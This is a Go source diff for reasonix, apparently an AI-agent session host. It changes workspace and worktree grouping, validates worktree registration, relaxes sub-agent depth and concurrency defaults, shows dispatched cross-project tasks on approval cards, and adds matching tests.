||||
}
|
||||
|
||||
func (h *Hub) openWithRoots() []string {
|
||||
refs := h.sessionRoots()
|
||||
roots := make([]string, 0, len(refs))
|
||||
for _, ref := range refs {
|
||||
roots = append(roots, ref.dir)
|
||||
}
|
||||
return roots
|
||||
}
|
||||
|
||||
// openWithProject starts one declared program on a project the window lists.
|
||||
@@ -66,7 +75,7 @@ func (h *Hub) openWithProject(w http.ResponseWriter, r *http.Request) {
|
||||
refuse(w, http.StatusNotFound, codeWorkspaceMissing, "the project folder is not on disk", nil)
|
||||
return
|
||||
}
|
||||
name, err := openWithOpen(req.ID, abs, LaunchWorkspaces())
|
||||
name, err := openWithOpen(req.ID, abs, h.openWithRoots())
|
||||
switch {
|
||||
case errors.Is(err, openwith.ErrUnknown):
|
||||
refuse(w, http.StatusNotFound, codeOpenWithUnknown, "no such program in the list", nil)
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
package serve
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"reasonix/internal/base/testenv"
|
||||
"reasonix/internal/platform/openwith"
|
||||
)
|
||||
|
||||
func TestAddWorktreeReturnsTheSelectedCheckoutWhileGroupingItsProject(t *testing.T) {
|
||||
root, copy := projectWithWorktree(t)
|
||||
h := NewHub(HubOptions{})
|
||||
srv := httptest.NewServer(operatorHandler(h))
|
||||
defer srv.Close()
|
||||
resp := postJSON(t, srv.URL+"/tree/workspaces", map[string]string{"path": copy})
|
||||
defer resp.Body.Close()
|
||||
var added treeWorkspace
|
||||
if err := json.NewDecoder(resp.Body).Decode(&added); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK || added.Root != copy {
|
||||
t.Fatalf("the folder picker must open the selected checkout: status=%d, root=%q, want %q", resp.StatusCode, added.Root, copy)
|
||||
}
|
||||
rows := hubGet[[]treeWorkspace](t, srv, "/tree")
|
||||
if len(rows) != 1 || rows[0].Root != root {
|
||||
t.Fatalf("the selected checkout must still share its source project: %+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSourceAliasKeepsPhysicalSourceAndAliasHistoryInTheGroupedProject(t *testing.T) {
|
||||
root, copy := projectWithWorktree(t)
|
||||
alias := filepath.Join(testenv.TempDir(t), "source-alias")
|
||||
if err := os.Symlink(root, alias); err != nil {
|
||||
t.Skipf("directory symlinks unavailable: %v", err)
|
||||
}
|
||||
paths := []string{seedAged(t, root, 1)[0], seedAged(t, alias, 1)[0], seedAged(t, copy, 1)[0]}
|
||||
rememberWorkspace(copy)
|
||||
rememberWorkspace(alias)
|
||||
h := NewHub(HubOptions{})
|
||||
srv := httptest.NewServer(operatorHandler(h))
|
||||
defer srv.Close()
|
||||
rows := hubGet[[]treeWorkspace](t, srv, "/tree")
|
||||
if len(rows) != 1 || rows[0].Root != alias || rows[0].Total != 3 {
|
||||
t.Fatalf("choosing a source alias must not hide existing source history: %+v", rows)
|
||||
}
|
||||
for i, path := range paths {
|
||||
at := slices.IndexFunc(rows[0].Sessions, func(row treeSession) bool { return row.Path == path })
|
||||
if at < 0 {
|
||||
t.Fatalf("missing session %s", path)
|
||||
}
|
||||
want := []string{root, alias, copy}[i]
|
||||
if got, err := h.resolveRoot(OpenRequest{Root: alias, SessionPath: path}); err != nil || got != want {
|
||||
t.Fatalf("session checkout = %q (%v), want %q", got, err, want)
|
||||
}
|
||||
resp := postExportSession(t, srv, path)
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("grouped session cannot be exported: %d", resp.StatusCode)
|
||||
}
|
||||
resp = postJSON(t, srv.URL+"/tree/sessions/rename", map[string]string{"path": path, "title": "renamed"})
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusNoContent && resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("grouped session cannot be renamed: %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestOpenWithProtectsImplicitSourceCheckoutForBothDiscoveryAndLaunch(t *testing.T) {
|
||||
root, copy := projectWithWorktree(t)
|
||||
rememberWorkspace(copy)
|
||||
calls := stubOpenWith(t, nil)
|
||||
var discoveryRoots []string
|
||||
openWithList = func(roots []string) []openwith.Status {
|
||||
discoveryRoots = slices.Clone(roots)
|
||||
return []openwith.Status{}
|
||||
}
|
||||
h := NewHub(HubOptions{})
|
||||
rec := httptest.NewRecorder()
|
||||
h.openWithTargets(rec, httptest.NewRequest(http.MethodGet, "/host/open-with", nil))
|
||||
if !slices.Contains(discoveryRoots, root) || !slices.Contains(discoveryRoots, copy) {
|
||||
t.Errorf("discovery may trust a program inside an implicit checkout: %v", discoveryRoots)
|
||||
}
|
||||
rec = postOpenWith(h, `{"id":"vscode","root":`+jsonString(root)+`}`, t.Context())
|
||||
if rec.Code != http.StatusOK || len(*calls) != 1 {
|
||||
t.Fatalf("cannot open grouped source: status=%d, calls=%+v", rec.Code, *calls)
|
||||
}
|
||||
if !slices.Contains((*calls)[0].forbidden, root) || !slices.Contains((*calls)[0].forbidden, copy) {
|
||||
t.Fatalf("launch may trust a program inside an implicit checkout: %v", (*calls)[0].forbidden)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGroupedProjectUsesExistingCheckoutWhenSourceFolderIsGone(t *testing.T) {
|
||||
for _, subdir := range []bool{false, true} {
|
||||
t.Run(map[bool]string{false: "repository moved", true: "selected source subfolder removed"}[subdir], func(t *testing.T) {
|
||||
root, copy := projectWithWorktree(t)
|
||||
if subdir {
|
||||
root, copy = filepath.Join(root, "app"), filepath.Join(copy, "app")
|
||||
for _, dir := range []string{root, copy} {
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
seedAged(t, root, 1)
|
||||
seedAged(t, copy, 1)
|
||||
rememberWorkspace(copy)
|
||||
if err := os.RemoveAll(root); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := NewHub(HubOptions{})
|
||||
srv := httptest.NewServer(operatorHandler(h))
|
||||
defer srv.Close()
|
||||
rows := hubGet[[]treeWorkspace](t, srv, "/tree")
|
||||
if len(rows) != 1 || rows[0].Missing || rows[0].Root != copy {
|
||||
t.Fatalf("the surviving checkout must remain usable: %+v", rows)
|
||||
}
|
||||
if got, err := h.resolveRoot(OpenRequest{Root: rows[0].Root}); err != nil || got != copy {
|
||||
t.Fatalf("new conversation uses unavailable source: %q (%v)", got, err)
|
||||
}
|
||||
if subdir && rows[0].Total != 2 {
|
||||
t.Fatalf("valid Git identity must retain both catalogs: %+v", rows[0])
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,9 @@
|
||||
package serve
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
@@ -28,14 +31,18 @@ func groupWorkspaces(refs []rootRef) []workspaceProject {
|
||||
out := []workspaceProject{}
|
||||
index := map[string]int{}
|
||||
aliases := map[string]string{}
|
||||
sources := map[string]string{}
|
||||
for _, ref := range refs {
|
||||
if projectRoot(ref.dir) == ref.dir {
|
||||
aliases[projectIdentity(ref.dir)] = ref.dir
|
||||
source := projectRoot(ref.dir)
|
||||
sources[ref.dir] = source
|
||||
if source == ref.dir {
|
||||
aliases[sessionstore.CanonicalSessionPath(source)] = ref.dir
|
||||
}
|
||||
}
|
||||
for _, ref := range refs {
|
||||
root := projectRoot(ref.dir)
|
||||
identity := projectIdentity(root)
|
||||
source := sources[ref.dir]
|
||||
root := source
|
||||
identity := sessionstore.CanonicalSessionPath(source)
|
||||
if alias := aliases[identity]; alias != "" {
|
||||
root = alias
|
||||
}
|
||||
@@ -47,13 +54,30 @@ func groupWorkspaces(refs []rootRef) []workspaceProject {
|
||||
}
|
||||
p := &out[at]
|
||||
p.remembered = p.remembered || ref.remembered
|
||||
if !slices.Contains(p.roots, ref.dir) {
|
||||
p.roots = append(p.roots, ref.dir)
|
||||
for _, dir := range []string{source, ref.dir} {
|
||||
if !slices.Contains(p.roots, dir) {
|
||||
p.roots = append(p.roots, dir)
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := range out {
|
||||
if !projectDirectoryExists(out[i].root) {
|
||||
for _, root := range out[i].roots {
|
||||
if projectDirectoryExists(root) {
|
||||
out[i].root = root
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func projectDirectoryExists(root string) bool {
|
||||
info, err := os.Stat(root)
|
||||
return err == nil && info.IsDir()
|
||||
}
|
||||
|
||||
func rememberedProjects(paths []string) []workspaceProject {
|
||||
refs := make([]rootRef, 0, len(paths))
|
||||
for _, path := range paths {
|
||||
@@ -90,8 +114,10 @@ func orderWorkspaceMembers(paths, order []string) []string {
|
||||
func (h *Hub) sessionRoots() []rootRef {
|
||||
out := h.roots()
|
||||
for _, p := range groupWorkspaces(out) {
|
||||
if !slices.ContainsFunc(out, func(ref rootRef) bool { return ref.dir == p.root }) {
|
||||
out = append(out, rootRef{dir: p.root, remembered: p.remembered})
|
||||
for _, dir := range p.roots {
|
||||
if !slices.ContainsFunc(out, func(ref rootRef) bool { return ref.dir == dir }) {
|
||||
out = append(out, rootRef{dir: dir, remembered: p.remembered})
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
@@ -110,3 +136,36 @@ func (h *Hub) listedSessionRoot(path, root string) string {
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// resolveRoot decides which folder a new runtime opens against: the one asked
|
||||
// for, the one that owns the session being opened, or the first runtime's.
|
||||
func (h *Hub) resolveRoot(req OpenRequest) (string, error) {
|
||||
if root := h.listedSessionRoot(req.SessionPath, req.Root); root != "" {
|
||||
return resolveWorkspaceDir(root)
|
||||
}
|
||||
if root := strings.TrimSpace(req.Root); root != "" {
|
||||
return resolveWorkspaceDir(root)
|
||||
}
|
||||
if path := strings.TrimSpace(req.SessionPath); path != "" {
|
||||
if root := workspaceRootForSession(path); root != "" {
|
||||
return root, nil
|
||||
}
|
||||
}
|
||||
h.mu.RLock()
|
||||
first := ""
|
||||
if len(h.order) > 0 {
|
||||
if rt := h.runtimes[h.order[0]]; rt != nil {
|
||||
first = rt.Server.Controller().WorkspaceRoot()
|
||||
}
|
||||
}
|
||||
h.mu.RUnlock()
|
||||
if first != "" {
|
||||
return first, nil
|
||||
}
|
||||
for _, dir := range LaunchWorkspaces() {
|
||||
if projectDirectoryExists(dir) {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", refusal(http.StatusConflict, "workspace.none", errors.New("no workspace to open in — add a folder first"), nil)
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package serve
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"reasonix/internal/contract/config"
|
||||
)
|
||||
|
||||
func BenchmarkProjectTree100Roots(b *testing.B) {
|
||||
home := b.TempDir()
|
||||
b.Setenv("REASONIX_HOME", home)
|
||||
b.Setenv("REASONIX_STATE_HOME", home)
|
||||
roots := make([]string, 100)
|
||||
for i := range roots {
|
||||
roots[i] = filepath.Join(home, fmt.Sprintf("project-%03d", i))
|
||||
if err := os.Mkdir(roots[i], 0o755); err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
body, _ := json.Marshal(workspaceList{Paths: roots})
|
||||
if err := os.WriteFile(filepath.Join(config.MemoryUserDir(), "serve-workspaces.json"), body, 0o644); err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
h := NewHub(HubOptions{})
|
||||
read := func() {
|
||||
rec := httptest.NewRecorder()
|
||||
h.tree(rec, httptest.NewRequest(http.MethodGet, "/tree", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
b.Fatalf("tree: %d", rec.Code)
|
||||
}
|
||||
}
|
||||
start := time.Now()
|
||||
read()
|
||||
cold := time.Since(start)
|
||||
b.ReportAllocs()
|
||||
for b.Loop() {
|
||||
read()
|
||||
}
|
||||
b.ReportMetric(float64(cold.Nanoseconds())/1e6, "first-ms")
|
||||
}
|
||||
@@ -437,8 +437,7 @@ func (h *Hub) addWorkspace(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
return
|
||||
}
|
||||
root := projectRoot(dir)
|
||||
writeJSON(w, treeWorkspace{Root: root, Name: fileutil.RootName(root), Sessions: []treeSession{}})
|
||||
writeJSON(w, treeWorkspace{Root: dir, Name: fileutil.RootName(dir), Sessions: []treeSession{}})
|
||||
}
|
||||
|
||||
// removeWorkspace drops a folder from the sidebar. Nothing on disk is touched —
|
||||
|
||||
@@ -3,6 +3,7 @@ package worktree
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"reasonix/internal/base/workspaceid"
|
||||
)
|
||||
@@ -17,20 +18,26 @@ func ProjectRoot(root, managedRoot string) string {
|
||||
if info.RepoDir == "" || info.RepoDir == info.GitDir || filepath.Base(info.RepoDir) != ".git" {
|
||||
return root
|
||||
}
|
||||
abs, err := filepath.Abs(root)
|
||||
if err != nil {
|
||||
managed, err := filepath.EvalSymlinks(managedRoot)
|
||||
if err != nil || !IsManagedPath(info.CheckoutRoot, managed) || !filepath.IsLocal(info.Prefix) || !registeredCheckout(info) {
|
||||
return root
|
||||
}
|
||||
for dir := abs; ; dir = filepath.Dir(dir) {
|
||||
if _, err := os.Lstat(filepath.Join(dir, ".git")); err == nil {
|
||||
rel, err := filepath.Rel(dir, abs)
|
||||
if err != nil {
|
||||
return root
|
||||
}
|
||||
return filepath.Join(filepath.Dir(info.RepoDir), rel)
|
||||
}
|
||||
if filepath.Dir(dir) == dir {
|
||||
return root
|
||||
}
|
||||
return filepath.Join(filepath.Dir(info.RepoDir), info.Prefix)
|
||||
}
|
||||
|
||||
func registeredCheckout(info workspaceid.Info) bool {
|
||||
body, err := os.ReadFile(filepath.Join(info.GitDir, "gitdir"))
|
||||
if err != nil || strings.TrimSpace(string(body)) == "" {
|
||||
return false
|
||||
}
|
||||
backlink := strings.TrimSpace(string(body))
|
||||
if !filepath.IsAbs(backlink) {
|
||||
backlink = filepath.Join(info.GitDir, backlink)
|
||||
}
|
||||
marker, err := filepath.EvalSymlinks(backlink)
|
||||
if err != nil || filepath.Base(marker) != ".git" {
|
||||
return false
|
||||
}
|
||||
rel, err := filepath.Rel(info.CheckoutRoot, filepath.Dir(marker))
|
||||
return err == nil && rel == "."
|
||||
}
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"testing"
|
||||
|
||||
"reasonix/internal/base/testenv"
|
||||
"reasonix/internal/base/workspaceid"
|
||||
)
|
||||
|
||||
func TestProjectRootUsesGitIdentityAndPreservesSelectedSubdirectory(t *testing.T) {
|
||||
@@ -44,3 +45,50 @@ func TestProjectRootUsesGitIdentityAndPreservesSelectedSubdirectory(t *testing.T
|
||||
t.Errorf("an unreadable identity must retain its directory: %s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProjectRootRejectsCopiedAndMissingWorktreeRegistration(t *testing.T) {
|
||||
requireGit(t)
|
||||
repo, managed := initRepo(t), testenv.TempDir(t)
|
||||
result, err := Create(t.Context(), opened(t, repo), managed)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
marker, err := os.ReadFile(filepath.Join(result.WorktreeRoot, ".git"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
copy := filepath.Join(managed, "restored", "project")
|
||||
if err := os.MkdirAll(copy, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(copy, ".git"), marker, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := ProjectRoot(copy, managed); got != copy {
|
||||
t.Errorf("copied Git metadata borrowed another checkout's identity: %s", got)
|
||||
}
|
||||
info := workspaceid.Describe(result.WorktreeRoot)
|
||||
if err := os.Remove(filepath.Join(info.GitDir, "gitdir")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := ProjectRoot(result.WorkspaceRoot, managed); got != result.WorkspaceRoot {
|
||||
t.Errorf("missing worktree registration must retain its own project: %s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProjectRootDoesNotBorrowRepositoryOutsideManagedStorage(t *testing.T) {
|
||||
requireGit(t)
|
||||
repo, managed := initRepo(t), testenv.TempDir(t)
|
||||
result, err := Create(t.Context(), opened(t, repo), managed)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
nestedManaged := filepath.Join(result.WorktreeRoot, "other-worktrees")
|
||||
root := filepath.Join(nestedManaged, "unregistered")
|
||||
if err := os.MkdirAll(root, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := ProjectRoot(root, nestedManaged); got != root {
|
||||
t.Fatalf("a Git marker outside managed storage claimed the folder: %s", got)
|
||||
}
|
||||
}
|
||||
@@ -217,6 +217,19 @@ func NormalizeMaxSubagentDepth(depth int) int {
|
||||
return depth
|
||||
}
|
||||
|
||||
// UnlimitedSubagentDepth is the depth a user who set max_subagent_depth to 0
|
||||
// asked for: no layer count stops delegation, only cost does.
|
||||
const UnlimitedSubagentDepth = 1 << 20
|
||||
|
||||
// SubagentDepthFromConfig reads the user's max_subagent_depth: 0 removes the
|
||||
// limit, a negative value reads as the single-layer boundary.
|
||||
func SubagentDepthFromConfig(depth int) int {
|
||||
if depth == 0 {
|
||||
return UnlimitedSubagentDepth
|
||||
}
|
||||
return NormalizeMaxSubagentDepth(depth)
|
||||
}
|
||||
|
||||
// ToolHooks fires user-configured shell hooks around each tool call. PreToolUse
|
||||
// runs before the call and may block it (block=true; message is the reason fed
|
||||
// back to the model); PostToolUse runs after and only surfaces output to the
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
package agent
|
||||
|
||||
import "testing"
|
||||
|
||||
// The config value 0 removes the stop; a negative one is the single-layer
|
||||
// boundary; a positive one is read as written.
|
||||
func TestSubagentDepthFromConfig(t *testing.T) {
|
||||
for in, want := range map[int]int{0: UnlimitedSubagentDepth, -2: 1, 1: 1, 8: 8, 30: 30} {
|
||||
if got := SubagentDepthFromConfig(in); got != want {
|
||||
t.Errorf("max_subagent_depth %d -> %d, want %d", in, got, want)
|
||||
}
|
||||
}
|
||||
if NormalizeMaxSubagentDepth(SubagentDepthFromConfig(0)) != UnlimitedSubagentDepth {
|
||||
t.Error("normalizing the unlimited depth changed it")
|
||||
}
|
||||
}
|
||||
@@ -52,7 +52,7 @@ const subagentToolBoundarySummary = "Recursive agent/skill tools are exposed onl
|
||||
// maxConcurrentBackgroundTasks is the legacy writer-background fallback used
|
||||
// only when a TaskTool has no session scheduler (tests). Production boots
|
||||
// inject MaxParallelWriters via SubagentScheduler.
|
||||
const maxConcurrentBackgroundTasks = writeclaim.DefaultMaxParallelWriters
|
||||
const maxConcurrentBackgroundTasks = 3
|
||||
|
||||
// TaskTool spawns a sub-agent in its own session for a focused sub-task. The
|
||||
// sub-agent runs with a filtered tool whitelist and the same step budget shape
|
||||
|
||||
@@ -94,7 +94,7 @@ func NewSubagentScheduler(maxTotal, maxWriters int) *SubagentScheduler {
|
||||
return &SubagentScheduler{maxTotal: maxTotal, maxWriters: maxWriters}
|
||||
}
|
||||
|
||||
// Limits returns the effective total/writer caps.
|
||||
// Limits returns the effective total/writer caps; zero is no limit.
|
||||
// Queued is how many acquires are waiting for a slot.
|
||||
func (s *SubagentScheduler) Queued() int {
|
||||
s.mu.Lock()
|
||||
@@ -104,7 +104,7 @@ func (s *SubagentScheduler) Queued() int {
|
||||
|
||||
func (s *SubagentScheduler) Limits() (total, writers int) {
|
||||
if s == nil {
|
||||
return DefaultMaxSubagentConcurrency, DefaultMaxParallelWriters
|
||||
return 0, 0
|
||||
}
|
||||
return s.maxTotal, s.maxWriters
|
||||
}
|
||||
@@ -279,13 +279,13 @@ const parentWriteLabel = "the main agent's write in progress"
|
||||
// them are answered by a setting and the third only by a path or an edge, and a
|
||||
// reader cannot tell those apart from "queued".
|
||||
func (s *SubagentScheduler) canStartLocked(req AcquireRequest) (bool, Held) {
|
||||
if s.activeTotal >= s.maxTotal {
|
||||
if s.maxTotal > 0 && s.activeTotal >= s.maxTotal {
|
||||
return false, Held{Cause: agentgraph.WaitSlots}
|
||||
}
|
||||
if !req.Writer {
|
||||
return true, Held{}
|
||||
}
|
||||
if s.activeWriters >= s.maxWriters {
|
||||
if s.maxWriters > 0 && s.activeWriters >= s.maxWriters {
|
||||
return false, Held{Cause: agentgraph.WaitWriters}
|
||||
}
|
||||
for _, active := range slices.Concat(s.activeClaims, s.parentClaims) {
|
||||
|
||||
@@ -11,17 +11,6 @@ import (
|
||||
"reasonix/internal/base/fileutil"
|
||||
)
|
||||
|
||||
// DefaultMaxSubagentConcurrency is the session-wide sub-agent concurrency
|
||||
// default (task, fleet items, profile skills, nested children).
|
||||
const DefaultMaxSubagentConcurrency = 6
|
||||
|
||||
// DefaultMaxParallelWriters is the default cap on concurrent writer-capable
|
||||
// sub-agents that declare non-overlapping write_paths.
|
||||
const DefaultMaxParallelWriters = 3
|
||||
|
||||
// MaxSubagentConcurrencyLimit is the upper bound for both concurrency knobs.
|
||||
const MaxSubagentConcurrencyLimit = 32
|
||||
|
||||
// WritePathSet is a normalized claim over workspace paths a sub-agent may write.
|
||||
// An Optimistic claim is scoped to the workspace for audit and bash, but each
|
||||
// write holds only its own path while it executes.
|
||||
@@ -43,23 +32,13 @@ func (s WritePathSet) Empty() bool {
|
||||
return !s.WholeWorkspace && len(s.Paths) == 0
|
||||
}
|
||||
|
||||
// NormalizeConcurrencyLimits clamps total/writer limits into the public range
|
||||
// 1–32 and ensures writers never exceed total. Zero inputs become defaults so
|
||||
// old configs stay at 6/3 without migration.
|
||||
// NormalizeConcurrencyLimits reads the two user settings. Zero is no limit, the
|
||||
// default: the claims on write paths, not a count, are what keep writers from
|
||||
// colliding. A negative value reads as none, and a writer limit above a set total
|
||||
// is brought down to it, since a writer is also a sub-agent.
|
||||
func NormalizeConcurrencyLimits(total, writers int) (int, int) {
|
||||
if total <= 0 {
|
||||
total = DefaultMaxSubagentConcurrency
|
||||
}
|
||||
if writers <= 0 {
|
||||
writers = DefaultMaxParallelWriters
|
||||
}
|
||||
if total > MaxSubagentConcurrencyLimit {
|
||||
total = MaxSubagentConcurrencyLimit
|
||||
}
|
||||
if writers > MaxSubagentConcurrencyLimit {
|
||||
writers = MaxSubagentConcurrencyLimit
|
||||
}
|
||||
if writers > total {
|
||||
total, writers = max(total, 0), max(writers, 0)
|
||||
if total > 0 && writers > total {
|
||||
writers = total
|
||||
}
|
||||
return total, writers
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package writeclaim
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -11,10 +12,10 @@ import (
|
||||
"reasonix/internal/base/testenv"
|
||||
)
|
||||
|
||||
func TestNormalizeConcurrencyLimitsDefaults(t *testing.T) {
|
||||
func TestNormalizeConcurrencyLimitsZeroIsNoLimit(t *testing.T) {
|
||||
total, writers := NormalizeConcurrencyLimits(0, 0)
|
||||
if total != DefaultMaxSubagentConcurrency || writers != DefaultMaxParallelWriters {
|
||||
t.Fatalf("got %d/%d, want %d/%d", total, writers, DefaultMaxSubagentConcurrency, DefaultMaxParallelWriters)
|
||||
if total != 0 || writers != 0 {
|
||||
t.Fatalf("got %d/%d, want 0/0 (no limit)", total, writers)
|
||||
}
|
||||
total, writers = NormalizeConcurrencyLimits(10, 10)
|
||||
if total != 10 || writers != 10 {
|
||||
@@ -22,11 +23,36 @@ func TestNormalizeConcurrencyLimitsDefaults(t *testing.T) {
|
||||
}
|
||||
total, writers = NormalizeConcurrencyLimits(4, 10)
|
||||
if total != 4 || writers != 4 {
|
||||
t.Fatalf("writers must not exceed total: got %d/%d", total, writers)
|
||||
t.Fatalf("writers must not exceed a set total: got %d/%d", total, writers)
|
||||
}
|
||||
total, writers = NormalizeConcurrencyLimits(0, 7)
|
||||
if total != 0 || writers != 7 {
|
||||
t.Fatalf("a writer limit with no total limit must stand: got %d/%d", total, writers)
|
||||
}
|
||||
total, writers = NormalizeConcurrencyLimits(100, 50)
|
||||
if total != MaxSubagentConcurrencyLimit || writers != MaxSubagentConcurrencyLimit {
|
||||
t.Fatalf("clamp: got %d/%d", total, writers)
|
||||
if total != 100 || writers != 50 {
|
||||
t.Fatalf("a large limit the user chose must not be clamped: got %d/%d", total, writers)
|
||||
}
|
||||
total, writers = NormalizeConcurrencyLimits(-3, -1)
|
||||
if total != 0 || writers != 0 {
|
||||
t.Fatalf("negative values read as no limit: got %d/%d", total, writers)
|
||||
}
|
||||
}
|
||||
|
||||
// With no limit set, work that touches different paths all starts at once.
|
||||
func TestAnUnlimitedSchedulerStartsEveryDisjointWriterAtOnce(t *testing.T) {
|
||||
root := testenv.TempDir(t)
|
||||
s := NewSubagentScheduler(0, 0)
|
||||
for i := range 40 {
|
||||
set, err := NormalizeWritePaths(root, []string{filepath.Join(root, "p", string(rune('a'+i%26))+string(rune('a'+i/26)))})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
release, err := s.Acquire(context.Background(), AcquireRequest{Writer: true, WritePaths: set, Nested: true})
|
||||
if err != nil {
|
||||
t.Fatalf("writer %d was held back with no limit set: %v", i+1, err)
|
||||
}
|
||||
defer release()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -59,6 +59,11 @@ func Subjects(args json.RawMessage) []string {
|
||||
// the person approving reads what would leave this session.
|
||||
return []string{to + ": " + text}
|
||||
}
|
||||
if project, text := stringArg(m, "project"), stringArg(m, "text"); project != "" && text != "" {
|
||||
// A task handed to a session in another project: where it goes and every
|
||||
// word of it, for the same reason as a message to another session.
|
||||
return []string{project + ": " + text}
|
||||
}
|
||||
if server, uri := stringArg(m, "server"), stringArg(m, "uri"); server != "" && uri != "" {
|
||||
// A resource read from an MCP server: the whole address, in the form
|
||||
// the chat's @server:uri reference uses, so it is judged as written.
|
||||
|
||||
@@ -65,3 +65,21 @@ func TestSubjectServerAndURIPairYieldsToACommandAndNeedsText(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A task dispatched to another project shows the project and the whole text on
|
||||
// the card, like a message to another session; half a pair names nothing, and a
|
||||
// command still wins.
|
||||
func TestSubjectOfADispatchIsProjectAndWholeText(t *testing.T) {
|
||||
got := Subject(json.RawMessage(`{"project":"billing","text":"rotate the key, then email [email protected]"}`))
|
||||
if got != "billing: rotate the key, then email [email protected]" {
|
||||
t.Fatalf("subject = %q", got)
|
||||
}
|
||||
for _, args := range []string{`{"project":"billing"}`, `{"text":"hello"}`, `{"project":"","text":"x"}`, `{"project":1,"text":"x"}`} {
|
||||
if got := Subject(json.RawMessage(args)); got != "" {
|
||||
t.Errorf("%s produced subject %q", args, got)
|
||||
}
|
||||
}
|
||||
if got := Subject(json.RawMessage(`{"command":"ls","project":"a","text":"b"}`)); got != "ls" {
|
||||
t.Errorf("a command lost to the pair: %q", got)
|
||||
}
|
||||
}
|
||||
@@ -121,6 +121,9 @@ type controllerDeps struct {
|
||||
// stalls an approval or status poll on c.mu. See goal.go.
|
||||
goals goalMachine
|
||||
|
||||
// dispatch is the state behind the cross-project dispatch tool; see peer_dispatch.go.
|
||||
dispatch dispatchState
|
||||
|
||||
// goalRetry is the unattended retry of an evaluator pause; see goal_retry.go.
|
||||
goalRetry goalRetry
|
||||
// awaitResume is the unattended wait behind an await_user gate; see await_resume.go.
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
package control
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"sync/atomic"
|
||||
|
||||
"reasonix/internal/contract/config"
|
||||
"reasonix/internal/contract/tool"
|
||||
)
|
||||
|
||||
// Each is an identity the dispatch tool reports; none is matched by its words.
|
||||
var (
|
||||
ErrDispatchUnavailable = errors.New("this session cannot open sessions in other projects")
|
||||
ErrDispatchUnknownProject = errors.New("no project of yours answers to that name")
|
||||
ErrDispatchAmbiguous = errors.New("more than one project answers to that name")
|
||||
ErrDispatchNested = errors.New("a session opened by a dispatch cannot dispatch further")
|
||||
ErrDispatchUntrusted = errors.New("that project is not one you have trusted")
|
||||
ErrDispatchFailed = errors.New("could not open a session in that project")
|
||||
)
|
||||
|
||||
// DispatchResult is what a dispatch hands back: where the task went.
|
||||
type DispatchResult struct {
|
||||
Project string
|
||||
Key string
|
||||
ID string
|
||||
}
|
||||
|
||||
// ProjectDispatcher opens, or reuses, a session in another project of the user
|
||||
// and writes the task into it. The host that owns the panes supplies it.
|
||||
type ProjectDispatcher func(ctx context.Context, project, text string) (DispatchResult, error)
|
||||
|
||||
// dispatchState is the controller's side of cross-project dispatch.
|
||||
type dispatchState struct {
|
||||
hook atomic.Pointer[ProjectDispatcher]
|
||||
nested atomic.Bool
|
||||
}
|
||||
|
||||
// SetProjectDispatcher gives the dispatch tool somewhere to go; a controller
|
||||
// without one (a terminal session, a test) answers ErrDispatchUnavailable.
|
||||
func (c *Controller) SetProjectDispatcher(d ProjectDispatcher) {
|
||||
if d == nil {
|
||||
c.dispatch.hook.Store(nil)
|
||||
return
|
||||
}
|
||||
c.dispatch.hook.Store(&d)
|
||||
}
|
||||
|
||||
